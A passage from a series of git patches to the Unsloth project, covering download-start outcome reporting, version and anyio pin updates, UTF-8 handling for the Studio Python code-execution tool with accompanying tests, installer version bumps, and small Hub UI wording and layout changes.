 }
 
+// Outcome of a start request so callers can tell whether a transfer for this
+// exact request is actually live before telling the user it began. "started"
+// means a running/cancelling job exists for this key (a fresh start or an
+// already-active one). "conflict" means a transport partial conflict was
+// recorded and must be resolved from the Hub download card; "busy" means the
+// repo is occupied by a sibling variant/snapshot/pending start that is not this
+// transfer; "error" means the start failed or was refused.
+export type DownloadStartOutcome = "started" | "conflict" | "busy" | "error";
+
+// A start can no-op without throwing: the backend can refuse it (startJob
+// finalizes "error"), startJob's peer guard can skip it, or
+// hasActiveOrPendingStart can trip on a snapshot/peer/pending that is not this
+// request. Derive the outcome from the actual job state of this exact key so
+// callers never claim a download began when it did not.
+function isJobActiveFor(req: DownloadRequest): boolean {
+  const job = getState().jobs[jobKeyOf(req.kind, req.repoId, req.variant)];
+  return Boolean(job && ACTIVE_STATES.has(job.state));
+}
+
 async function runWithPendingStartGuard(
   req: DownloadRequest,
-  action: () => Promise<void>,
-): Promise<void> {
+  action: () => Promise<DownloadStartOutcome>,
+): Promise<DownloadStartOutcome> {
   const startKey = pendingStartKey(req);
-  if (hasActiveOrPendingStart(req)) return;
+  // Already active or pending for the repo: only report "started" when this
+  // exact request is the live transfer; a peer/snapshot/pending start has not.
+  if (hasActiveOrPendingStart(req)) {
+    return isJobActiveFor(req) ? "started" : "busy";
+  }
   runtimeRegistry.pendingStartRepoKeys.add(startKey);
   try {
-    await action();
+    return await action();
   } catch (error) {
     reportConflictStartError(error);
+    return "error";
   } finally {
     runtimeRegistry.pendingStartRepoKeys.delete(startKey);
   }
 }
 
-export async function requestStart(req: DownloadRequest): Promise<void> {
-  await runWithPendingStartGuard(req, async () => {
+export async function requestStart(
+  req: DownloadRequest,
+): Promise<DownloadStartOutcome> {
+  return runWithPendingStartGuard(req, async () => {
     let mode: TransportMode = getTransportMode();
     try {
       mode = await effectiveTransportMode(mode);
@@ -119,7 +145,7 @@ export async function requestStart(req: DownloadRequest): Promise<void> {
               ? "This repository is currently downloading with Xet. Switch to Xet or wait for it to finish."
               : "This repository is currently downloading with HTTP. Switch to HTTP or wait for it to finish.",
         });
-        return;
+        return "busy";
       }
     } catch (err) {
       console.warn("Active download transport check failed.", err);
@@ -139,7 +165,7 @@ export async function requestStart(req: DownloadRequest): Promise<void> {
           },
           pending: req,
         });
-        return;
+        return "conflict";
       }
       if (status.has_partial && !status.last_transport) {
         toast.info("Restarting this download", {
@@ -163,7 +189,7 @@ export async function requestStart(req: DownloadRequest): Promise<void> {
             "Starting with HTTP so an existing partial is not discarded. Switch transport to retry with Xet.",
         });
         await startJob(req, { useXet: false });
-        return;
+        return isJobActiveFor(req) ? "started" : "error";
       }
       toast.warning("Couldn't verify existing partial download", {
         description:
@@ -171,6 +197,7 @@ export async function requestStart(req: DownloadRequest): Promise<void> {
       });
     }
     await startJob(req, { useXet: mode === TRANSPORT.XET });
+    return isJobActiveFor(req) ? "started" : "error";
   });
 }
 
@@ -178,22 +205,24 @@ export function resumeConflict(conflictKey: string): void {
   const entry = getState().conflicts[conflictKey];
   if (!entry) return;
   setConflict(conflictKey, null);
-  void runWithPendingStartGuard(entry.pending, () =>
-    startJob(entry.pending, {
+  void runWithPendingStartGuard(entry.pending, async () => {
+    await startJob(entry.pending, {
       useXet: entry.info.previous === TRANSPORT.XET,
-    }),
-  );
+    });
+    return "started";
+  });
 }
 
 export function restartConflict(conflictKey: string): void {
   const entry = getState().conflicts[conflictKey];
   if (!entry) return;
   setConflict(conflictKey, null);
-  void runWithPendingStartGuard(entry.pending, () =>
-    startJob(entry.pending, {
+  void runWithPendingStartGuard(entry.pending, async () => {
+    await startJob(entry.pending, {
       useXet: entry.info.next === TRANSPORT.XET,
-    }),
-  );
+    });
+    return "started";
+  });
 }
 
 export function cancelConflict(conflictKey: string): void {
diff --git a/studio/frontend/src/features/hub/download-manager/use-repo-download.ts b/studio/frontend/src/features/hub/download-manager/use-repo-download.ts
index 46b5fae6bb..9b9f33d8a2 100644
--- a/studio/frontend/src/features/hub/download-manager/use-repo-download.ts
+++ b/studio/frontend/src/features/hub/download-manager/use-repo-download.ts
@@ -120,8 +120,10 @@ export function useRepoDownload(config: RepoDownloadConfig): DownloadJob {
   );
 
   const requestStartDownload = useCallback(
-    (variant: string | null, expectedBytes: number) => {
-      return downloadManager.requestStart({
+    async (variant: string | null, expectedBytes: number) => {
+      // This surface renders the conflict resolver (transportConflict), so the
+      // start outcome is handled by the card UI; the awaited result is ignored.
+      await downloadManager.requestStart({
         kind,
         repoId,
         variant,

From c7eaaaeaef05239419df072d9e4d3539ed5093f5 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 08:58:48 -0700
Subject: [PATCH 042/306] Versioning

---
 pyproject.toml           | 6 +++---
 unsloth/models/_utils.py | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pyproject.toml b/pyproject.toml
index 83d65bc1a3..dd957766b9 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -71,7 +71,7 @@ triton = [
 ]
 
 huggingfacenotorch = [
-    "unsloth_zoo>=2026.6.6",
+    "unsloth_zoo>=2026.6.7",
     "wheel>=0.42.0",
     "packaging",
     "numpy",
@@ -92,7 +92,7 @@ huggingfacenotorch = [
 ]
 huggingface = [
     "unsloth[huggingfacenotorch]",
-    "unsloth_zoo>=2026.6.6",
+    "unsloth_zoo>=2026.6.7",
     "torchvision",
     "unsloth[triton]",
 ]
@@ -582,7 +582,7 @@ colab-ampere-torch220 = [
     "flash-attn>=2.6.3 ; ('linux' in sys_platform)",
 ]
 colab-new = [
-    "unsloth_zoo>=2026.6.6",
+    "unsloth_zoo>=2026.6.7",
     "packaging",
     "tyro",
     "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0",
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 2365975cdd..7a056cef82 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -12,7 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-__version__ = "2026.6.8"
+__version__ = "2026.6.9"
 
 __all__ = [
     "SUPPORTS_BFLOAT16",

From c9761749ecbcd0bb13feef5e8173537c73110974 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 09:05:22 -0700
Subject: [PATCH 043/306] Studio: correct the anyio<4.14 pin rationale
 (mixed-install ImportError, not a 4.14 cancel-scope bug) (#6579)

* Studio: correct the anyio<4.14 pin rationale (mixed-install ImportError)

The pin comments said "anyio 4.14+ breaks cancel scope on Python 3.13", but
a clean anyio 4.14.0 works on 3.13 (cancel scopes, Event, and the asyncio
backend import all pass). The actual failure is a half-resolved install:
anyio 4.14 added TaskHandle, imported by __init__.py and _backends/_asyncio
from _core/_tasks. When a stale 4.13 _core/_tasks (no TaskHandle) sits under
4.14's importers, the import raises ImportError and 500s the server. Correct
the rationale; the <4.14 pin still stands as the way to keep one consistent
anyio version.

* Clarify the anyio override comment (mixed-install ImportError, not a 4.14 cancel-scope bug)
---
 studio/backend/requirements/no-torch-runtime.txt       |  2 +-
 studio/backend/requirements/single-env/constraints.txt |  7 +++++--
 .../requirements/single-env/overrides-darwin-arm64.txt | 10 ++++++----
 3 files changed, 12 insertions(+), 7 deletions(-)

diff --git a/studio/backend/requirements/no-torch-runtime.txt b/studio/backend/requirements/no-torch-runtime.txt
index b0157cfea0..a611c009fb 100644
--- a/studio/backend/requirements/no-torch-runtime.txt
+++ b/studio/backend/requirements/no-torch-runtime.txt
@@ -56,7 +56,7 @@ httpx
 httpcore
 certifi
 idna
-anyio>=3.0,<4.14.0  # 4.14+ breaks cancel scope on Py3.13 (#6483)
+anyio>=3.0,<4.14.0  # one consistent <4.14: 4.14's TaskHandle importers over a stale 4.13 _core/_tasks -> ImportError (#6483)
 sniffio
 h11
 
diff --git a/studio/backend/requirements/single-env/constraints.txt b/studio/backend/requirements/single-env/constraints.txt
index aad4c38664..a916c6fc75 100644
--- a/studio/backend/requirements/single-env/constraints.txt
+++ b/studio/backend/requirements/single-env/constraints.txt
@@ -13,8 +13,11 @@ fastmcp>=3.0.2
 mcp>=1.24,<2
 websockets>=15.0.1
 
-# anyio 4.14+ breaks cancel scope on Python 3.13 (#6483). Global cap so later
-# with-deps steps (studio.txt, data-designer-deps.txt) can't re-resolve it up.
+# Keep anyio on one consistent <4.14 line. anyio 4.14 added TaskHandle (imported
+# by __init__.py and the asyncio backend from _core/_tasks); a clean 4.14 is fine
+# on 3.13. The real failure (#6483) is a half-resolved install: a stale 4.13
+# _core/_tasks (no TaskHandle) under 4.14's importers raises ImportError and 500s
+# the server. Global cap so later with-deps steps can't re-resolve it up.
 anyio<4.14.0
 
 pandas==2.3.3
diff --git a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
index 8558cd5b6c..a0e73c7efc 100644
--- a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
+++ b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
@@ -4,8 +4,10 @@
 # happens at runtime via the side-car venvs.
 transformers>=4.57.6
 
-# mlx-vlm / mlx-lm pull anyio>=4.14, which conflicts with the constraints.txt
-# cap (anyio<4.14.0, #6483: 4.14+ breaks cancel scope on Python 3.13). A -c
-# constraint loses that conflict on macOS-arm and 4.14.0 gets installed; an
-# override wins it, so force anyio down here too.
+# mlx-vlm / mlx-lm pull anyio>=4.14, which fights the constraints.txt cap
+# (anyio<4.14.0). The -c constraint loses that fight on macOS-arm, leaving a
+# half-resolved anyio (4.14 importers over a stale 4.13 _core/_tasks with no
+# TaskHandle) that ImportErrors and 500s the server (#6483; clean 4.14 is fine,
+# it is the mix that breaks). An override wins the fight, so force one
+# consistent <4.14 here too.
 anyio<4.14.0

From 7ecbf5a770623da25891a3df0be881bf72ee13a2 Mon Sep 17 00:00:00 2001
From: Saicharan Ramineni <84414237+GodlyDonuts@users.noreply.github.com>
Date: Mon, 22 Jun 2026 12:06:03 -0400
Subject: [PATCH 044/306] Use UTF-8 for Python code-execution subprocess I/O
 (#6489 class) (#6548)

* Use UTF-8 for Python code-execution subprocess I/O

Studio's code-execution tool already tells the child to emit UTF-8
(PYTHONIOENCODING=utf-8 in _build_safe_env), but _python_exec writes the
temp script and decodes the subprocess pipe with the OS default codec.
On Windows (cp1252), non-ASCII in model-written code or its output --
arrows, CJK, emoji -- raises UnicodeEncodeError / UnicodeDecodeError and
breaks execution.

Complete the UTF-8 wiring in core/inference/tools.py:
- write the temp script with encoding="utf-8"
- decode _python_exec stdout as utf-8, errors="replace"
- set PYTHONIOENCODING=utf-8 in _build_bypass_env too (matches
  _build_safe_env, so the bypass path's child also emits utf-8)

The child is python with PYTHONIOENCODING=utf-8, so it emits UTF-8
regardless of the console code page and the decode is always correct.
Shell execution via cmd.exe has a separate console-code-page story and
is left to a follow-up.

Refs unslothai/unsloth#6489

* Scope Python exec UTF-8 env to Python tool

* Make bash bypass test robust to a host-set PYTHONIOENCODING for PR #6548

Bypass mode preserves benign host env vars, so a host-set PYTHONIOENCODING was
inherited into the bash bypass env and tripped the new assertion even though
_bash_exec never adds it. Clear it in the test so the assertion checks _bash_exec,
not the runner environment.

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 studio/backend/core/inference/tools.py        | 12 ++++++-
 .../backend/tests/test_bypass_permissions.py  |  6 +++-
 studio/backend/tests/test_exec_utf8.py        | 33 +++++++++++++++++++
 3 files changed, 49 insertions(+), 2 deletions(-)
 create mode 100644 studio/backend/tests/test_exec_utf8.py

diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py
index 6960310018..a5c193ff39 100644
--- a/studio/backend/core/inference/tools.py
+++ b/studio/backend/core/inference/tools.py
@@ -2545,14 +2545,24 @@ def _python_exec(
                         pass
     try:
         fd, tmp_path = tempfile.mkstemp(suffix = ".py", prefix = "studio_exec_", dir = workdir)
-        with os.fdopen(fd, "w") as f:
+        # utf-8 so non-ASCII in model-written code survives the OS default codec
+        # (Windows cp1252 would otherwise raise UnicodeEncodeError).
+        with os.fdopen(fd, "w", encoding = "utf-8") as f:
             f.write(code)
 
         safe_env = _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir)
+        if disable_sandbox:
+            # Match the sandboxed Python path without changing bypass shell I/O.
+            safe_env = dict(safe_env)
+            safe_env["PYTHONIOENCODING"] = "utf-8"
         popen_kwargs = dict(
             stdout = subprocess.PIPE,
             stderr = subprocess.STDOUT,
             text = True,
+            # Decode child output as utf-8 (it emits utf-8 via PYTHONIOENCODING);
+            # replace so non-ASCII output never crashes the read on Windows.
+            encoding = "utf-8",
+            errors = "replace",
             cwd = workdir,
             env = safe_env,
         )
diff --git a/studio/backend/tests/test_bypass_permissions.py b/studio/backend/tests/test_bypass_permissions.py
index 563f146816..d92509a5fe 100644
--- a/studio/backend/tests/test_bypass_permissions.py
+++ b/studio/backend/tests/test_bypass_permissions.py
@@ -135,6 +135,7 @@ def test_python_bypass_uses_bypass_preexec_and_bypass_env(captured_popen, monkey
     assert captured_popen["kwargs"]["preexec_fn"] is tools._bypass_preexec
     env = captured_popen["kwargs"]["env"]
     assert env.get("HOSTVAR") == "benign-xyz"
+    assert env.get("PYTHONIOENCODING") == "utf-8"
     assert "HF_TOKEN" not in env
 
 
@@ -151,9 +152,12 @@ def test_bash_blocklist_skipped_when_bypassed(captured_popen):
 
 
 @_POSIX_ONLY
-def test_bash_bypass_uses_bypass_preexec(captured_popen):
+def test_bash_bypass_uses_bypass_preexec(captured_popen, monkeypatch):
+    # bypass inherits benign host vars; clear so we assert _bash_exec adds none.
+    monkeypatch.delenv("PYTHONIOENCODING", raising = False)
     _bash_exec("echo hi", None, 5, "t", disable_sandbox = True)
     assert captured_popen["kwargs"]["preexec_fn"] is tools._bypass_preexec
+    assert "PYTHONIOENCODING" not in captured_popen["kwargs"]["env"]
 
 
 # ── real end-to-end python execution under bypass ───────────────────
diff --git a/studio/backend/tests/test_exec_utf8.py b/studio/backend/tests/test_exec_utf8.py
new file mode 100644
index 0000000000..90b78754ed
--- /dev/null
+++ b/studio/backend/tests/test_exec_utf8.py
@@ -0,0 +1,33 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""_python_exec must round-trip non-ASCII output end to end.
+
+Model-written code routinely contains non-ASCII (arrows, CJK, emoji). The temp
+script and the child's stdout pipe both have to be UTF-8 or it crashes/garbles
+on Windows, whose default codec is cp1252. Mirrors the report in
+unslothai/unsloth#6489. The child is ``python`` with PYTHONIOENCODING=utf-8, so
+it emits UTF-8 on every OS; this proves the round-trip on a UTF-8 host and
+guards against a regression to the OS default codec.
+"""
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+from core.inference.tools import _python_exec
+
+# Arrow, em-dash, accent, CJK, check mark, astral-plane emoji -- none encodable
+# in cp1252, so the OS default codec would raise on write or read.
+_UNICODE = "café — 数字 → ✓ 😀"
+
+
+@pytest.mark.parametrize("disable_sandbox", [False, True])
+def test_python_exec_round_trips_non_ascii(disable_sandbox):
+    out = _python_exec(f"print({_UNICODE!r})", disable_sandbox = disable_sandbox)
+    assert _UNICODE in out, repr(out)

From 643e13ac334f726d25a12358ca6c2abf6f313b28 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 09:15:22 -0700
Subject: [PATCH 045/306] Bump install.sh / install.ps1 pin to
 unsloth>=2026.6.9 (#6580)

---
 install.ps1 | 10 +++++-----
 install.sh  | 10 +++++-----
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/install.ps1 b/install.ps1
index 765f33b1ff..efb54efa2b 100644
--- a/install.ps1
+++ b/install.ps1
@@ -2146,7 +2146,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
             if ($baseInstallExit -eq 0) {
                 # Resolve pydantic WITH deps so pip pins pydantic-core
                 # to the matching version (no-torch-runtime.txt below
@@ -2160,7 +2160,7 @@ exit 0
                 }
             }
         } else {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
         }
         if ($baseInstallExit -ne 0) {
             Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@@ -2226,7 +2226,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
             if ($baseInstallExit -eq 0) {
                 # Same pydantic-with-deps trick as the migrated branch.
                 $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
@@ -2238,7 +2238,7 @@ exit 0
                 }
             }
         } elseif ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
         } else {
             $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
         }
@@ -2266,7 +2266,7 @@ exit 0
         Write-TauriLog "STEP" "Installing unsloth"
         substep "installing unsloth (this may take a few minutes)..."
         if ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto }
             if ($baseInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
diff --git a/install.sh b/install.sh
index 7a2e18e374..a3b2734dac 100755
--- a/install.sh
+++ b/install.sh
@@ -2621,7 +2621,7 @@ if [ "$_MIGRATED" = true ]; then
         # to prevent transitive torch resolution.
         run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
+            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
         # Resolve pydantic WITH deps so pip pins pydantic-core to the
         # matching version (no-torch-runtime.txt below is --no-deps).
         # All transitive deps are torch-free.
@@ -2634,7 +2634,7 @@ if [ "$_MIGRATED" = true ]; then
     else
         run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
+            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
     fi
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         substep "overlaying local repo (editable)..."
@@ -2838,7 +2838,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
         run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --upgrade-package unsloth --upgrade-package unsloth-zoo \
-            "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
+            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
         # Same pydantic-with-deps trick as the migrated branch.
         run_install_cmd_retry "install pydantic (with deps for compatible core)" \
             uv pip install --python "$_VENV_PY" pydantic
@@ -2856,7 +2856,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         fi
     elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
+            --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
@@ -2888,7 +2888,7 @@ else
     tauri_log "STEP" "Installing Unsloth"
     substep "installing unsloth (this may take a few minutes)..."
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
-        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto
+        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."

From 655b0cbcee1d68b22629e3ceeab7f84c7d685af8 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 22 Jun 2026 20:57:01 -0700
Subject: [PATCH 046/306] Studio: default Hub Discover scope to all models
 (#6593)

- Discover defaults to the whole Hub instead of the unsloth org; an explicit
  Unsloth choice is still remembered
- Discover models placeholder reads Search all models to match
- Give the Unsloth/All scope pill a min width so it stays readable
---
 .../frontend/src/features/hub/catalog/models-toolbar.tsx | 2 +-
 .../src/features/hub/catalog/owner-scope-toggle.tsx      | 4 ++--
 studio/frontend/src/features/hub/hub-page.tsx            | 9 +++++----
 3 files changed, 8 insertions(+), 7 deletions(-)

diff --git a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
index c8adfb54f5..48f7fcffaa 100644
--- a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
@@ -252,7 +252,7 @@ export const ModelsToolbar = memo(function ModelsToolbar({
                 ? `Search on-device ${isDataset ? "datasets" : "models"}`
                 : isDataset
                   ? "Search datasets"
-                  : "Search models"
+                  : "Search all models"
             }
             className={cn(
               "field-soft h-9 rounded-full !border-0 pl-10 text-[13px] placeholder:text-muted-foreground/80 focus-visible:!ring-0",
diff --git a/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx b/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
index fed8568f99..5f36f5d031 100644
--- a/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
+++ b/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
@@ -28,8 +28,8 @@ export function OwnerScopeToggle({
       onValueChange={onChange}
       ariaLabel="Publisher scope"
       align="end"
-      // Extra gap so the chevron sits a touch further from the label.
-      className="h-8 gap-1.5 text-[11.5px]"
+      // Extra gap before the chevron; min-width keeps the pill readable.
+      className="h-8 min-w-[96px] gap-1.5 text-[11.5px]"
     />
   );
 }
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index b3c9dd0dbe..e379d7f2ee 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -90,18 +90,19 @@ const ALL_MODELS_VIEW_STORAGE_KEY = "unsloth.hub.allModelsView";
 const INVENTORY_SORT_STORAGE_KEY = "unsloth.hub.inventorySort";
 const OWNER_SCOPE_STORAGE_KEY = "unsloth.hub.ownerScope";
 
-/** Discover browsing scope: only the unsloth org (default) or the whole Hub. */
+/** Discover browsing scope: the whole Hub (default) or only the unsloth org. */
 export type OwnerScope = "unsloth" | "all";
 
 function readOwnerScopePreference(): OwnerScope {
   if (typeof window === "undefined") {
-    return "unsloth";
+    return "all";
   }
   try {
     const value = window.localStorage.getItem(OWNER_SCOPE_STORAGE_KEY);
-    return value === "all" ? "all" : "unsloth";
+    // Default to the whole Hub; only honor an explicit "unsloth" preference.
+    return value === "unsloth" ? "unsloth" : "all";
   } catch {
-    return "unsloth";
+    return "all";
   }
 }
 

From 45c01c09bc56767a4a77fe055ec9fff105586125 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 22 Jun 2026 22:11:45 -0700
Subject: [PATCH 047/306] Studio: model picker search placeholder, Search Hub
 tooltip, list polish (#6592)

Polish for the in-chat model picker popover and its guided-tour step.

- Search box placeholder reads Search Unsloth models, matching the Unsloth-only listing.
- Search Hub button shows a Search all models tooltip on hover.
- Floating Eject pill moves 1px lower so it sits closer to the bottom edge.
- Results list max height trimmed by 1px (21rem to 335px) from the bottom only.
- Chat guided tour Two tabs step updated to describe Unsloth-scoped search plus Search Hub for all of Hugging Face.
---
 .../assistant-ui/model-selector/pickers.tsx   | 29 +++++++++++--------
 .../frontend/src/features/chat/tour/steps.tsx |  7 +++--
 2 files changed, 21 insertions(+), 15 deletions(-)

diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index 46b6fe2e63..90c1c04106 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -2336,7 +2336,7 @@ export function HubModelPicker({
           <Input
             value={query}
             onChange={(event) => setQuery(event.target.value)}
-            placeholder="Search models"
+            placeholder="Search Unsloth models"
             data-model-picker-search-input={true}
             className="field-soft h-9 border-0 pl-8 pr-8"
           />
@@ -2345,15 +2345,20 @@ export function HubModelPicker({
           )}
         </div>
         {onBrowseHub ? (
-          <button
-            type="button"
-            onClick={onBrowseHub}
-            aria-label="Search more models on the Hub"
-            className="hub-tab-toggle-pill flex h-9 w-[110px] shrink-0 items-center justify-center gap-[5px] rounded-full border-0 text-xs text-foreground transition-colors"
-          >
-            <HugeiconsIcon icon={DashboardCircleIcon} className="size-4" />
-            Search Hub
-          </button>
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <button
+                type="button"
+                onClick={onBrowseHub}
+                aria-label="Search more models on the Hub"
+                className="hub-tab-toggle-pill flex h-9 w-[110px] shrink-0 items-center justify-center gap-[5px] rounded-full border-0 text-xs text-foreground transition-colors"
+              >
+                <HugeiconsIcon icon={DashboardCircleIcon} className="size-4" />
+                Search Hub
+              </button>
+            </TooltipTrigger>
+            <TooltipContent>Search all models</TooltipContent>
+          </Tooltip>
         ) : null}
       </div>
 
@@ -2386,7 +2391,7 @@ export function HubModelPicker({
           // Height tracks the content up to the cap, so short lists do not
           // leave white space. scroll-py + symmetric px keep the focus ring off
           // the overflow clip edges during keyboard nav.
-          "model-list-scroll max-h-[21rem] overflow-y-auto scroll-py-1.5 px-0.5 mr-1",
+          "model-list-scroll max-h-[335px] overflow-y-auto scroll-py-1.5 px-0.5 mr-1",
           listScrolled && "is-scrolled",
           listMoreBelow && "is-bottom-faded",
         )}
@@ -3362,7 +3367,7 @@ export function HubModelPicker({
       {/* Floating eject pill: overlaid on the list bottom, outside the scroll
           so the edge fade never touches it. Only the pill catches clicks. */}
       {onEject ? (
-        <div className="pointer-events-none absolute inset-x-0 bottom-0 flex justify-end pr-3.5 pb-5">
+        <div className="pointer-events-none absolute inset-x-0 bottom-0 flex justify-end pr-3.5 pb-[19px]">
           <button
             type="button"
             onClick={onEject}
diff --git a/studio/frontend/src/features/chat/tour/steps.tsx b/studio/frontend/src/features/chat/tour/steps.tsx
index cbbb7bae4f..7e304ed590 100644
